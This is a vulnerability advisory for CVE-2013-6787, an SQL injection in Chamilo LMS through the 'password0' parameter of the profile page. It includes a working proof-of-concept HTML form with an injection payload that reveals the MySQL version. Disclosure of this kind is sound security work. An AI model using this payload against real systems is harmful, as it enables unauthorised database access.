Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Chamilo LMS, which can be exploited to perform SQL Injection attacks.


1) SQL Injection in Chamilo LMS: CVE-2013-6787

The vulnerability exists due to insufficient validation of "password0" HTTP POST parameter passed to "/main/auth/profile.php" script. A remote authenticated attacker can execute arbitrary SQL commands in application's database.

The following exploitation example displays version of MySQL server:

<form action="http://[host]/main/auth/profile.php" method="post" name="main">
<input type="hidden" name="password0"  value="' OR substring(version(),1,1)=5 -- ">
<input type="hidden" name="password1"  value="password">
<input type="hidden" name="password2"  value="password">
<input type="hidden" name="apply_change"  value="">
<input type="hidden" name="firstname"  value="first_name">
<input type="hidden" name="lastname"  value="last_name">
<input type="hidden" name="username"  value="username">
<input type="hidden" name="official_code"  value="USER">
<input type="hidden" name="phone"  value="">
<input type="hidden" name="language"  value="">
<input type="hidden" name="extra_mail_notify_invitation"  value="">
<input type="hidden" name="extra_mail_notify_message"  value="">
<input type="hidden" name="extra_mail_notify_group_message"  value="">
<input type="hidden" name="_qf__profile"  value="">
<input type="hidden" name=""  value="">
<input type="submit" id="btn">
</form>


Successful exploitation of this vulnerability requires that the application is configured during installation not to encrypt users' passwords ("Encryption method" option is set to "none").
